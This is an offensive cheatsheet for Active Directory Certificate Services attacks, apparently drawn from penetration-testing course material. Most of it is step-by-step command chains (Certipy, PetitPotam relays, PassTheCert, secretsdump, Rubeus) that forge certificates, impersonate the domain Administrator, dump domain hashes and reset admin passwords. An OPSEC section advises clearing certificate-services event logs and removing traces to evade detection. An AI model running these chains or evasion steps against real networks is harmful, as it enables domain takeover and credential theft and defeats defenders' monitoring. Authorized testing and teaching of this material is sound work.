ADCS Attacks Comprehensive Cheatsheet¶
Overview¶
Active Directory Certificate Services (ADCS) attacks exploit misconfigurations in certificate templates, CA configuration, and access controls. ESC1-ESC11 represent different attack scenarios identified by SpecterOps research targeting certificate-based authentication in Windows environments.
Core ADCS Components¶
Certificate Infrastructure Elements:
- SAN: Subject Alternative Name - allows specifying alternate identities in certificates
- EKU: Extended Key Usage - defines certificate purposes and authentication methods
- CSR: Certificate Signing Request - request submitted to Certificate Authority
- CA: Certificate Authority - issues, validates, and manages digital certificates
Key Template Attributes:
- msPKI-Certificate-Name-Flag: Controls SAN specification (EnrolleeSuppliesSubject = 0x1)
- msPKI-Enrollment-Flag: Controls enrollment behavior and approval requirements
- pkiExtendedKeyUsage: Defines certificate purposes for authentication
- EDITF_ATTRIBUTESUBJECTALTNAME2: CA flag allowing SAN specification in requests
ADCS Attack Decision Matrix¶
Comprehensive Attack Selection Mindmap¶
graph TD
A[ADCS Attack Selection] --> B{What Access Do You Have?}
B -->|Domain User| C[Template-Based Attacks]
B -->|Local Admin on ADCS| D[ESC5 Attacks]
B -->|CA Permissions| E[CA-Based Attacks]
B -->|Write Access| F[Modification Attacks]
B -->|Network Position| G[Relay Attacks]
C --> C1[Check Template Permissions]
C1 --> C2{Template Vulnerable?}
C2 -->|ESC1: SAN + Client Auth| C3[Direct Exploitation]
C2 -->|ESC2: Any Purpose| C4[Same as ESC1]
C2 -->|ESC3: Agent Template| C5[Two-Stage Attack]
C2 -->|ESC9: No Security Ext| C6[UPN Manipulation]
D --> D1[Check ADCS Server]
D1 --> D2{Local Admin Rights?}
D2 -->|Yes| D3[Abuse SubCA Template]
D2 -->|Yes| D4[Manual Cert Approval]
E --> E1{What CA Rights?}
E1 -->|ManageCA| E2[ESC7: Enable Templates + Add Officer]
E1 -->|ManageCertificates| E3[ESC7: Approve Pending]
E1 -->|Both| E4[Full ESC7 Chain]
F --> F1{Write Permissions On?}
F1 -->|Template| F2[ESC4: Modify Template]
F1 -->|User Object| F3[Shadow Credentials + ESC9/10]
F1 -->|Computer Object| F4[RBCD + Certifried]
G --> G1{Relay Target?}
G1 -->|HTTP Enrollment| G2[ESC8: HTTP Relay]
G1 -->|RPC/ICPR| G3[ESC11: RPC Relay]
G1 -->|LDAPS| G4[PassTheCert Attacks]
C3 --> H[Request Cert with Target SAN]
C5 --> I[Get Agent Cert → Request on Behalf]
E2 --> J[Enable SubCA → Add Officer → Issue]
E3 --> K[Find Pending Template → Approve]
F2 --> L[Modify to ESC1 → Exploit → Restore]
G2 --> M[Coerce Auth → Relay → Get Cert]
Attack Decision Table¶
| Current Access | Target Object | Primary Attack | Secondary Options | Key Requirements |
|---|---|---|---|---|
| Domain User | Vulnerable Template | ESC1/ESC2 | Direct SAN request | EnrolleeSuppliesSubject + Client Auth |
| Domain User | Agent Template | ESC3 | Two-stage enrollment | Agent EKU + Target template |
| Template Write | Any Template | ESC4 | Convert to ESC1 | Modify permissions or attributes |
| Local Admin on ADCS | CA Server | ESC5 | ESC7-style attacks | Access to CA management console |
| CA Write (EDITF flag) | Any Template | ESC6 | SAN on any template | Unpatched (pre-May 2022) |
| ManageCA Rights | Certificate Authority | ESC7 | Enable templates + Officers | SubCA or pending templates |
| ManageCertificates | Pending Requests | ESC7 | Direct approval | Templates with manager approval |
| Network Position | HTTP Enrollment | ESC8 | NTLM Relay to HTTP | Web enrollment enabled |
| GenericWrite + Template | No Security Extension | ESC9 | UPN manipulation | Weak certificate mapping |
| GenericWrite + Registry | Weak Mapping | ESC10 | Certificate mapping abuse | RBCD chain required |
| Network Position | RPC Endpoint | ESC11 | NTLM Relay to RPC | IF_ENFORCEENCRYPTICERTREQUEST disabled |
| Computer Creation | Unpatched CA | Certifried | dNSHostName spoofing | Pre-May 2022 patch status |
ADCS Enumeration¶
Windows Enumeration¶
Native Windows Methods¶
Basic ADCS Discovery
# Check Cert Publishers group membership
net localgroup "Cert Publishers"
# Query Public Key Services container
Get-ADObject -SearchBase "CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Filter *
Requirements
- Domain-joined machine or runas /netonly
- RSAT tools installed
- Valid domain credentials
Certify Enumeration¶
Certify ADCS Discovery
# Basic certificate template enumeration
.\Certify.exe find
# Find vulnerable templates only
.\Certify.exe find /vulnerable
# Enumerate Certificate Authorities
.\Certify.exe cas
Linux Enumeration¶
NetExec ADCS Discovery¶
NetExec ADCS Module
# Discover ADCS infrastructure
netexec ldap <dc-ip> -u "user" -p "password" -M adcs
Certipy Enumeration¶
Certipy Comprehensive Enumeration
# Full ADCS enumeration
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout
# Find vulnerable templates only
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -vulnerable -stdout
# Save BloodHound data
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -bloodhound
ESC Attack Types¶
ESC1 - Template Allows SAN Specification¶
ESC1 Requirements¶
To abuse ESC1, the following conditions must be met:
- Enterprise CA grants enrollment rights to low-privileged users
- Manager approval disabled (Requires Manager Approval: False)
- No authorized signatures required (Authorized Signatures Required: 0)
- Template allows SAN specification (Enrollee Supplies Subject: True)
- Client Authentication EKU enabled (Client Authentication: True)
ESC1 Attack¶
ESC1 Linux Attack Chain
# Find ESC1 vulnerable templates
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -vulnerable -stdout
# Request certificate with alternate SAN
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <template> -upn Administrator@domain
# Authenticate with certificate
certipy auth -pfx administrator.pfx -username administrator -domain domain -dc-ip <dc-ip>
# Use TGT for access
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass DC.DOMAIN.LOCAL
ESC2 - Any Purpose EKU¶
ESC2 Requirements¶
ESC2 requirements are identical to ESC1 with one key difference:
- Template specifies Any Purpose EKU (Extended Key Usage: Any Purpose)
- Or template defines no Extended Key Usage at all
- Can be used for any purpose including client authentication
ESC3 - Certificate Request Agent¶
ESC3 Requirements¶
ESC3 requires two certificate templates with specific configurations:
Template 1 (Enrollment Agent Requirements):
- Enterprise CA grants enrollment rights to low-privileged users
- Manager approval disabled
- Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1)
Template 2 (Target Template Requirements):
- Allows enrollment via Certificate Request Agent
- Client Authentication EKU enabled
- No enrollment agent restrictions at CA level
ESC3 Attack¶
ESC3 Two-Stage Attack
# Step 1: Request enrollment agent certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <agent-template>
# Step 2: Request certificate on behalf of target user
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template 'User' -on-behalf-of 'domain\administrator' -pfx agent.pfx
# Step 3: Authenticate as target user
certipy auth -pfx administrator.pfx -username administrator -domain domain
ESC4 - Vulnerable Certificate Template Access Control¶
ESC4 Requirements¶
To abuse ESC4, specific permissions are required:
- User has write permissions over certificate template (WriteProperty, WriteDacl, WriteOwner)
- Ability to modify template attributes to introduce vulnerabilities
- Template modification rights through Full Control or specific ACEs
ESC4 Attack¶
ESC4 Automated Attack
# Save and modify template
certipy template -u 'user@domain' -p 'password' -template <template> -save-old
# Exploit modified template
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <template> -upn Administrator
# Restore original template
certipy template -u 'user@domain' -p 'password' -template <template> -configuration <template>.json
ESC5 - Vulnerable PKI Object Access Control¶
ESC5 Requirements¶
To abuse ESC5, you need control over:
- The CA server's AD computer object
- The CA server's RPC/DCOM server
- Local Administrator rights on the ADCS server
- Any descendant AD object in CN=Public Key Services container
ESC5 Attack from Linux¶
ESC5 Local Admin Exploitation
# Setup proxy for internal network access
sshpass -p 'password' ssh -N -f -D 127.0.0.1:9050 user@target
# Configure proxychains
echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf
# Enumerate with local admin context
proxychains4 -q certipy find -u admin_user -p password -dc-ip <dc-ip> -ns <dc-ip> -dns-tcp -stdout
# Request SubCA certificate (will fail initially)
proxychains4 -q certipy req -u admin_user -p password -ca <ca-name> -template SubCA -upn Administrator@domain -target-ip <adcs-ip>
# Note Request ID: X
# Issue the failed request using local admin privileges
proxychains4 -q certipy ca -u admin_user -p password -ca <ca-name> -issue-request X -target-ip <adcs-ip>
# Retrieve the issued certificate
proxychains4 -q certipy req -u admin_user -p password -ca <ca-name> -retrieve X -target-ip <adcs-ip>
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2¶
ESC6 Requirements¶
ESC6 exploits CA-level misconfigurations:
- CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set
- Any template allowing client authentication becomes vulnerable
- Vulnerability patched in May 2022 updates (CVE-2022-26923)
ESC6 Attack¶
ESC6 Exploitation
# Exploit any template with client auth
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template User -upn Administrator@domain
ESC7 - Vulnerable Certificate Authority Access Control¶
ESC7 Requirements¶
ESC7 exploits dangerous CA permissions:
- ManageCA rights: Can modify CA configuration and add officers
- ManageCertificates rights: Can approve pending/failed requests
- Combination allows bypassing enrollment restrictions
ESC7 Attack Scenarios¶
Scenario 1: ManageCA Rights Full Chain
ESC7 ManageCA Exploitation
# Step 1: Check current permissions and templates
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout
# Look for: "ESC7: 'DOMAIN\\user' has dangerous permissions"
# Step 2: Enable SubCA template if disabled
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -enable-template 'SubCA'
# Step 3: Add yourself as certificate manager (officer)
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -add-officer user
# Step 4: Request SubCA certificate (will fail due to permissions)
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template SubCA -upn Administrator@domain
# Save Request ID: X and respond 'y' to save private key
# Step 5: Issue the failed certificate using officer rights
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -issue-request X
# Step 6: Retrieve the issued certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -retrieve X
Scenario 2: ManageCertificates Rights with Pending Templates
ESC7 ManageCertificates Exploitation
# Step 1: Find templates requiring manager approval
certipy find -u 'user@domain' -p 'password' -stdout | grep -B5 -A10 "Manager Approval.*True"
# Step 2: Request certificate (will be pending)
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <pending-template> -upn Administrator@domain
# Note Request ID: X
# Step 3: Approve pending request
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -issue-request X
# Step 4: Retrieve approved certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -retrieve X
ESC8 - NTLM Relay to AD CS HTTP Endpoints¶
ESC8 Requirements¶
Conditions for ESC8 abuse:
- Web enrollment endpoint enabled on CA
- Certificate template allowing domain computer enrollment
- Template with Client Authentication EKU (e.g., Machine/Computer template)
- Ability to coerce authentication from target
ESC8 Attack¶
ESC8 NTLM Relay Attack
# Terminal 1: Setup relay listener
sudo certipy relay -target http://<adcs-ip>/certsrv/certfnsh.asp -template DomainController
# Terminal 2: Coerce authentication
python3 PetitPotam.py -u user -p password -d domain <listener-ip> <target-dc-ip>
# OR
coercer coerce -l <listener-ip> -t <target-ip> -u user -p password -d domain
# Certificate saved as: target.pfx
# Authenticate with certificate
certipy auth -pfx target.pfx
# Perform DCSync or create Silver Ticket
secretsdump.py 'target$'@dc.domain -hashes :<hash>
ESC9 - No Security Extension¶
ESC9 Requirements¶
ESC9 exploits weak certificate mapping:
- StrongCertificateBindingEnforcement != 2 OR CertificateMappingMethods contains UPN flag
- Template has CT_FLAG_NO_SECURITY_EXTENSION flag
- Template allows Client Authentication
- GenericWrite rights over any user account
ESC9 Attack¶
ESC9 Shadow Credentials Chain
# Step 1: Deploy Shadow Credentials
certipy shadow auto -u 'user@domain' -p 'password' -account target-user
# Note hash: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# Step 2: Change target UPN to victim's UPN
certipy account update -u 'user@domain' -p 'password' -user target-user -upn victim@domain
# Step 3: Request certificate with victim's UPN
certipy req -u 'target-user@domain' -hashes :xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -ca <ca-name> -template <esc9-template>
# Step 4: Revert UPN change
certipy account update -u 'user@domain' -p 'password' -user target-user -upn target-user@domain
# Step 5: Authenticate as victim
certipy auth -pfx victim.pfx -domain domain
ESC10 - Weak Certificate Mappings¶
ESC10 Requirements¶
ESC10 exploits registry-level misconfigurations:
Case 1: Kerberos Authentication (StrongCertificateBindingEnforcement = 0)
- Allows weak certificate-to-account mapping
- Requires Windows April 2023 updates to be missing
Case 2: Schannel Authentication (CertificateMappingMethods = 0x4)
- Must target accounts without UPN (machine accounts, built-in accounts)
- Certificate authentication via LDAP shell required
ESC10 Attack¶
ESC10 Machine Account Takeover
# Step 1: Gain control over user account
certipy shadow auto -u 'user@domain' -p 'password' -account target-user
# Step 2: Change UPN to DC machine account
certipy account update -u 'user@domain' -p 'password' -user target-user -upn 'dc$@domain'
# Step 3: Request certificate with DC UPN
certipy req -u 'target-user@domain' -hashes :<hash> -ca <ca-name> -template User
# Step 4: Revert UPN change
certipy account update -u 'user@domain' -p 'password' -user target-user -upn target-user@domain
# Step 5: Authenticate via LDAP shell
certipy auth -pfx dc.pfx -domain domain -dc-ip <dc-ip> -ldap-shell
# Step 6: Configure RBCD
add_computer attacker-pc attacker123
set_rbcd dc$ attacker-pc$
# Step 7: Impersonate Administrator
getST.py -spn cifs/DC.DOMAIN -impersonate Administrator domain/'attacker-pc$':attacker123
# Step 8: Access DC
KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DC.DOMAIN
ESC11 - NTLM Relay to AD CS ICPR Endpoints¶
ESC11 Requirements¶
Conditions for ESC11 abuse:
- IF_ENFORCEENCRYPTICERTREQUEST flag not enforced on CA
- RPC/ICPR enrollment endpoints accessible
- Certificate template allowing domain computer enrollment
- Ability to coerce authentication from target
ESC11 Attack¶
ESC11 RPC Relay Attack
# Terminal 1: Setup RPC relay listener
sudo certipy relay -target "rpc://<adcs-ip>" -ca "<ca-name>" -template DomainController
# Terminal 2: Coerce authentication
python3 PetitPotam.py -u user -p password -d domain <listener-ip> <target-dc-ip>
# Certificate saved as: target.pfx
# Continue with same post-exploitation as ESC8
certipy auth -pfx target.pfx
secretsdump.py 'target$'@dc.domain -hashes :<hash>
Certifried (CVE-2022-26923)¶
Certifried Requirements¶
To exploit Certifried:
- Unpatched CA (pre-May 2022)
- Ability to create or modify computer accounts
- Machine template or similar available
- Weak certificate mapping (no object SID in certificates)
Certifried Attack¶
Certifried Automated Attack
# Step 1: Check if vulnerable (no object SID)
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template User
# Look for: "Certificate has no object SID"
# Step 2: Create computer with target DNS name
certipy account create -u 'user@domain' -p 'password' -user FAKE$ -dns DC.DOMAIN.LOCAL
# Step 3: Request certificate as DC
certipy req -u 'FAKE$' -p '<generated-password>' -ca <ca-name> -template Machine
# Step 4: Authenticate as DC
certipy auth -pfx dc.pfx
# Step 5: DCSync or Silver Ticket
secretsdump.py 'dc$'@domain -hashes :<hash>
PKINIT and Alternative Authentication¶
PKINIT Not Supported - PassTheCert¶
When PKINIT Fails¶
Common error indicating PKINIT not supported:
Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
PassTheCert Attack Methods¶
Certificate Key Extraction
# Extract private key from PFX
openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key
# Set PEM passphrase when prompted
# Extract public key from PFX
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt
# Optional: Remove passphrase from key
openssl rsa -in administrator.key -out administrator-nopass.key
PassTheCert Attack Options:
DCSync via PassTheCert
# Grant DCSync rights to controlled user
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
-domain domain -port 636 -action modify_user -target controlled-user -elevate
# Perform DCSync
secretsdump.py 'domain/controlled-user:password'@<dc-ip>
RBCD via PassTheCert
# Create computer account
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
-domain domain -port 636 -action add_computer -computer-name 'FAKE$' -computer-pass password
# Configure RBCD
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
-domain domain -port 636 -action write_rbcd -delegate-to 'DC$' -delegate-from 'FAKE$'
# Impersonate Administrator
getST.py -spn cifs/dc.domain -impersonate Administrator domain/'FAKE$':password
Password Reset via PassTheCert
# Reset Administrator password
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
-domain domain -port 636 -action modify_user -target administrator -new-pass NewPassword123!
# Authenticate with new password
wmiexec.py administrator:NewPassword123!@<dc-ip>
Advanced Attack Integrations¶
Shadow Credentials Integration¶
Shadow Credentials + ADCS Chain
# Deploy Shadow Credentials for hash extraction
certipy shadow auto -u 'user@domain' -p 'password' -account target-user
# Use extracted hash with ADCS attacks
certipy req -u 'target-user@domain' -hashes :<hash> -ca <ca-name> -template <template>
# Authenticate with certificate
certipy auth -pfx certificate.pfx -domain domain
RBCD Integration¶
Certificate to RBCD Attack Chain
# Authenticate with certificate via LDAP shell
certipy auth -pfx dc.pfx -domain domain -dc-ip <dc-ip> -ldap-shell
# Create computer account
add_computer attacker-pc attacker123
# Configure RBCD on target
set_rbcd target$ attacker-pc$
# Impersonate high-privilege user
getST.py -spn cifs/TARGET.DOMAIN -impersonate Administrator domain/'attacker-pc$':attacker123
# Access target with TGT
KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass TARGET.DOMAIN
Certificate Authentication Methods¶
Linux Certificate Usage¶
Linux Certificate Authentication Options
# TGT generation via Certipy
certipy auth -pfx certificate.pfx -username user -domain domain -dc-ip <dc-ip>
# SMB access with TGT
KRB5CCNAME=user.ccache smbexec.py -k -no-pass TARGET.DOMAIN
# WinRM access with TGT
KRB5CCNAME=user.ccache evil-winrm -i <target-ip> -r DOMAIN
# LDAP Shell access (for Schannel auth)
certipy auth -pfx cert.pfx -domain domain -dc-ip <dc-ip> -ldap-shell
Windows Certificate Usage¶
Windows Certificate Authentication
# Generate TGT and extract NT hash
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
# Create sacrificial logon session
.\Rubeus.exe createnetonly /program:powershell.exe /show
# Import ticket into session
.\Rubeus.exe ptt /ticket:<base64-ticket>
BloodHound Integration with Certipy¶
Setup and Configuration¶
BloodHound ADCS Fork Installation
# Generate ADCS data with Certipy
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -bloodhound
# Generate standard BloodHound data
bloodhound-python -u 'user' -p 'password' -d domain -ns <dc-ip> --zip --dns-tcp
# Download ly4k's BloodHound fork
wget https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
# Run BloodHound with ADCS support
./BloodHound-linux-x64/BloodHound --no-sandbox
# Import both ZIP files for complete ADCS attack paths
ADCS-Specific Queries¶
Available PKI queries in BloodHound fork:
- Shortest Paths to Misconfigured Certificate Template from Owned Principals (ESC1)
- Shortest Paths to Misconfigured Certificate Template (ESC2)
- Shortest Paths to Enrollment Agent Templates (ESC3)
- Shortest Paths to Vulnerable Certificate Template Access Control (ESC4)
- Shortest Paths to Vulnerable PKI Object Access Control (ESC5)
- Shortest Paths to Vulnerable Certificate Authority Access Control (ESC7)
- Find Principals with DCSync Rights
Extended Key Usage Reference¶
| EKU Purpose | Object Identifier (OID) | Authentication Use | Attack Relevance |
|---|---|---|---|
| Client Authentication | 1.3.6.1.5.5.7.3.2 | Domain user authentication | ESC1, ESC2, ESC6 |
| Smart Card Logon | 1.3.6.1.4.1.311.20.2.2 | Smart card authentication | ESC1, ESC2 |
| Certificate Request Agent | 1.3.6.1.4.1.311.20.2.1 | Request certificates for others | ESC3 |
| PKINIT Client Authentication | 1.3.6.1.5.2.3.4 | Kerberos PKINIT authentication | Certificate auth |
| Any Purpose | 2.5.29.37.0 | Universal certificate usage | ESC2 |
| Subordinate CA | Multiple EKUs | CA certificate issuance | ESC7 with SubCA |
Troubleshooting Common Issues¶
Certificate Request Failures¶
Common Certificate Request Issues
DNS Resolution Errors:
# Add domain to /etc/hosts
echo "<dc-ip> domain.local DC.domain.local" >> /etc/hosts
# Use -dc-host parameter
certipy req -u 'user@domain' -p 'password' -dc-host domain.local -ca <ca-name> -template <template>
PKINIT Not Supported:
# Error: KDC_ERR_PADATA_TYPE_NOSUPP
# Solution: Use PassTheCert for LDAPS authentication instead
Template Access Denied:
# Error: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED
# Check enrollment permissions
certipy find -u 'user@domain' -p 'password' -stdout | grep -A 10 "<template-name>"
Authentication Issues¶
Certificate Authentication Problems
Kerberos Clock Skew:
# Synchronize time with DC
sudo ntpdate <dc-ip>
# Or use rdate
sudo rdate -s <dc-ip>
Certificate Format Issues:
# Proper PFX conversion
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Verify certificate contents
openssl pkcs12 -in cert.pfx -info -nodes
Network and Proxy Issues¶
Proxy Configuration for Internal Networks
SSH Port Forwarding Setup:
# Create SOCKS proxy
sshpass -p 'password' ssh -N -f -D 127.0.0.1:9050 user@jumphost
# Configure proxychains
cat >> /etc/proxychains.conf << EOF
# Comment out proxy_dns
#proxy_dns
# Add SOCKS proxy
socks4 127.0.0.1 9050
EOF
# Use with tools
proxychains4 -q certipy find -u user -p password -dc-ip <internal-dc>
OPSEC Considerations¶
High-Risk Activities¶
Activities Most Likely to Trigger Detection:
- Certificate requests with non-standard Subject Alternative Names
- Template modifications by non-administrative accounts
- Multiple certificate requests in short time periods
- Failed certificate requests followed by approvals (ESC7)
- Registry modifications to certificate mapping settings
- Mass certificate enrollments from single source
- Authentication coercion attempts
- LDAP modifications via PassTheCert
Stealth Recommendations¶
Operational Security Best Practices:
- Use existing legitimate certificate templates when possible
- Spread certificate requests over time to avoid bulk detection
- Clean up modified templates after successful exploitation
- Use certificate authentication during normal business hours
- Remove added CA officer permissions after attacks
- Restore original UPN values after ESC9/ESC10 attacks
- Delete created computer accounts post-exploitation
- Clear certificate request logs where possible
Detection Evasion¶
Log Management
# Clear certificate services logs (requires high privileges)
wevtutil cl "Microsoft-Windows-CertificateServices-CertificateServicesAuditEvents/Operational"
# Monitor for these Event IDs before clearing:
# 4887: Certificate Services approved a certificate request
# 4888: Certificate Services denied a certificate request
# 4890: Certificate settings changed for Certificate Services
Quick Attack Selection Guide¶
Decision Flow for ESC Attacks¶
graph TD
Start[Start Assessment] --> Check1{Can you enumerate ADCS?}
Check1 -->|Yes| Enum[Run: certipy find -vulnerable]
Check1 -->|No| NoADCS[No ADCS attacks possible]
Enum --> Vulns{What vulnerabilities found?}
Vulns -->|ESC1/2/3/9| Templates[Template-based attacks]
Vulns -->|ESC4| Modify[Can modify templates]
Vulns -->|ESC5| LocalAdmin[Local admin on ADCS]
Vulns -->|ESC6| CAFlag[EDITF flag set]
Vulns -->|ESC7| CAPerms[Have CA permissions]
Vulns -->|ESC8/11| Relay[Can relay authentication]
Vulns -->|None| CheckPerms[Check your permissions]
CAPerms --> CAType{What CA rights?}
CAType -->|ManageCA| EnableSubCA[Enable SubCA → Add Officer → Issue]
CAType -->|ManageCertificates| ApprovePending[Find pending templates → Approve]
CAType -->|Both| FullChain[Complete ESC7 chain]
Relay --> RelayType{What endpoint available?}
RelayType -->|HTTP| ESC8Attack[Coerce → HTTP relay → Get cert]
RelayType -->|RPC| ESC11Attack[Coerce → RPC relay → Get cert]
CheckPerms --> Special{Special access?}
Special -->|GenericWrite| Shadow[Shadow Creds + ESC9/10]
Special -->|Computer creation| Certifried[Certifried attack]
Special -->|Network position| Relay
Priority Attack Matrix¶
| Vulnerability | Complexity | Detection Risk | Success Rate | Recommended For |
|---|---|---|---|---|
| ESC1 | Low | Medium | High | Quick wins with template access |
| ESC4 | Medium | High | High | When template write access available |
| ESC7 | Medium | Medium | Very High | CA permissions exploitation |
| ESC8 | High | Low | High | Coercion + relay scenarios |
| Certifried | Low | Medium | High | Unpatched environments |
| ESC5 | Medium | Low | High | Local admin on ADCS server |
| ESC9/10 | High | Medium | Medium | Complex permission chains |
| ESC11 | High | Low | High | When ESC8 is patched |
Complete Attack Scenarios¶
Scenario: ESC7 with Template Discovery¶
ESC7 Complete Chain with Template Analysis
# Step 1: Initial enumeration - check what rights you have
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout | grep -A20 "Certificate Authorities"
# Look for: ManageCA or ManageCertificates under your user
# Step 2: If you have ManageCA, check available templates
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout | grep -B5 "Template Name"
# Look for: SubCA template or templates with "Requires Manager Approval: True"
# Step 3: Enable SubCA if needed
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -enable-template SubCA
# Step 4: Add yourself as officer
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -add-officer user
# Step 5: Request privileged certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template SubCA -upn Administrator@domain
# Note: Request ID 31, save private key
# Step 6: Issue the failed request
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -issue-request 31
# Step 7: Retrieve certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -retrieve 31
# Step 8: Authenticate
certipy auth -pfx administrator.pfx
Scenario: ESC5 Local Admin Exploitation¶
ESC5 Attack via Local Administrator
# Context: You have local admin on ADCS server (not DC)
# Step 1: Setup access to internal network
sshpass -p 'HTB_@cademy_stdnt!' ssh -N -f -D 127.0.0.1:9050 htb-student@<jumphost>
# Step 2: Verify admin access
proxychains4 -q netexec smb <adcs-ip> -u localadmin -p password
# Should show: (Pwn3d!)
# Step 3: Enumerate with admin context
proxychains4 -q certipy find -u localadmin -p password -dc-ip <dc-ip> -ns <dc-ip> -dns-tcp -target-ip <adcs-ip> -stdout
# Step 4: Abuse SubCA template as local admin
proxychains4 -q certipy req -u localadmin -p password -ca <ca-name> -template SubCA -upn Administrator@domain -target-ip <adcs-ip>
# Request ID: 10
# Step 5: Approve with local admin rights
proxychains4 -q certipy ca -u localadmin -p password -ca <ca-name> -issue-request 10 -target-ip <adcs-ip>
# Step 6: Retrieve and use
proxychains4 -q certipy req -u localadmin -p password -ca <ca-name> -retrieve 10 -target-ip <adcs-ip>
Scenario: Relay Attack Decision¶
Choosing Between ESC8 and ESC11
# Step 1: Check which relay endpoints are available
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -vulnerable -stdout
# If output shows:
# "ESC8: Web Enrollment is enabled" → Use HTTP relay
# "ESC11: Encryption is not enforced for ICPR" → Use RPC relay
# Both → Prefer ESC11 (less commonly monitored)
# ESC8 Path (HTTP):
sudo certipy relay -target http://<adcs-ip>/certsrv/certfnsh.asp -template DomainController
# ESC11 Path (RPC):
sudo certipy relay -target "rpc://<adcs-ip>" -ca "<ca-name>" -template DomainController
# Step 2: Trigger coercion (same for both)
python3 PetitPotam.py -u user -p password -d domain <your-ip> <target-dc>
# Step 3: Post-exploitation (same for both)
certipy auth -pfx dc.pfx
secretsdump.py 'dc@domain -hashes :<hash>
Tool Installation and Setup¶
Linux Tools Installation¶
Essential Linux ADCS Tools
# Certipy-AD (primary tool)
pip3 install certipy-ad
# Impacket suite (latest version)
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .
# PassTheCert for LDAPS attacks
git clone https://github.com/AlmondOffSec/PassTheCert
# Coercer for authentication coercion
pip3 install coercer
# PetitPotam
git clone https://github.com/topotam/PetitPotam
# NetExec for enumeration
pip3 install netexec
# BloodHound Python
pip3 install bloodhound
# PowerView.py for AD modifications
git clone https://github.com/aniqfakhrul/powerview.py
cd powerview.py && sudo python3 setup.py install
Windows Tools Setup¶
Essential Windows ADCS Tools:
- Certify.exe: https://github.com/GhostPack/Certify
- Rubeus.exe: https://github.com/GhostPack/Rubeus
- PowerView.ps1: https://github.com/PowerShellMafia/PowerSploit
- PassTheCert.exe: https://github.com/AlmondOffSec/PassTheCert
- PSPKI Module: Install-Module PSPKI
Critical Reminders¶
Certificate Request Management¶
When requests fail or pend:
- ALWAYS save the private key when prompted
- Note the Request ID for later retrieval
- Failed requests can be approved with proper rights
- Pending requests need ManageCertificates to approve
Template Selection for Attacks¶
Choosing the right template:
- SubCA: Best for ESC7 with ManageCA rights (most privileged)
- User/Machine: Standard templates for ESC6 or ESC8/11
- DomainController: Use when targeting DCs in relay attacks
- Custom vulnerable: Check enrollment rights match your access
Network Considerations¶
For internal ADCS servers:
- Use
-target-ipwhen ADCS and DC are different - Add
-nsand-dns-tcpfor DNS resolution - Configure proxychains for pivoting scenarios
- Ensure time sync for Kerberos authentication
Final Quick Reference¶
Most Common Attack Commands¶
Essential ADCS Attack Commands
# ESC1 - Direct SAN exploitation
certipy req -u 'user@domain' -p 'password' -ca <ca> -template <template> -upn Administrator
# ESC4 - Template modification
certipy template -u 'user@domain' -p 'password' -template <template> -save-old
# ESC7 - CA officer abuse
certipy ca -u 'user@domain' -p 'password' -ca <ca> -add-officer user
certipy ca -u 'user@domain' -p 'password' -ca <ca> -issue-request <id>
# ESC8/11 - Relay attacks
sudo certipy relay -target <endpoint> -template <template>
# Shadow Credentials integration
certipy shadow auto -u 'user@domain' -p 'password' -account target
# Certifried
certipy account create -u 'user@domain' -p 'password' -user FAKE$ -dns DC.DOMAIN
# PassTheCert when PKINIT fails
python3 passthecert.py -crt cert.crt -key cert.key -domain domain -action <action>
This comprehensive ADCS cheatsheet provides systematic coverage of all certificate-based attack vectors in Active Directory environments, with enhanced focus on ESC5-ESC11, proper template analysis, and decision-making workflows for selecting appropriate attacks based on available access and permissions.